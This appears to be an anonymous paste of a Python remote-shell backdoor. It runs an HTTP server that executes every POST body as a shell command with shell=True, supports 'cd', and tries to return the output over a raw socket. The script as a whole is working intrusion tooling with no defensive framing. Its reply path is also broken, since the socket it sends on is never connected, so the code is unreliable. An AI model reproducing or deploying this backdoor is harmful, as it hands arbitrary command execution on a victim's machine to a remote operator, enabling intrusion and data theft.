Untitled
unknown
python
a year ago
2.4 kB
4
Indexable
from http.server import BaseHTTPRequestHandler, HTTPServer import subprocess import os import sys import socket def inbound(): print('[+] Awaiting response...') message = '' while True: try: message = sock.recv(1024).decode() return message except Exception: sock.close() def outbound(message): response = str(message).encode() sock.send(response) class MyHTTPHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length).decode('utf-8') if post_data == 'exit': print('[-] The server has terminated the session.') sock.close() elif post_data.startswith('cd'): try: directory = post_data.split(" ")[1] os.chdir(directory) cur_dir = os.getcwd() print(f'[+] Changed to {cur_dir}') outbound(cur_dir) except FileNotFoundError: outbound('Invalid directory. Try again.') except Exception as e: outbound(str(e)) else: try: command = subprocess.Popen(post_data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) output = command.communicate()[0] outbound(output.decode('utf-8')) except Exception as e: outbound(str(e)) def session_handler(): print(f'[+] Connecting to {host_ip}.') sock.connect((host_ip, host_port)) print(f'[+] Connected to {host_ip}.') while True: message = inbound() print(f'[+] Message received - {message}') if message == 'exit': print('[-] The client has terminated the session.') sock.close() break else: outbound('Invalid command. Try again.') if __name__ == '__main__': try: host_ip = sys.argv[1] host_port = int(sys.argv[2]) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (host_ip, host_port) httpd = HTTPServer(server_address, MyHTTPHandler) print(f'[+] Listening on {host_ip}:{host_port}') httpd.serve_forever() except IndexError: print('[-] Command line argument(s) missing. Please try again.') except Exception as e: print(e)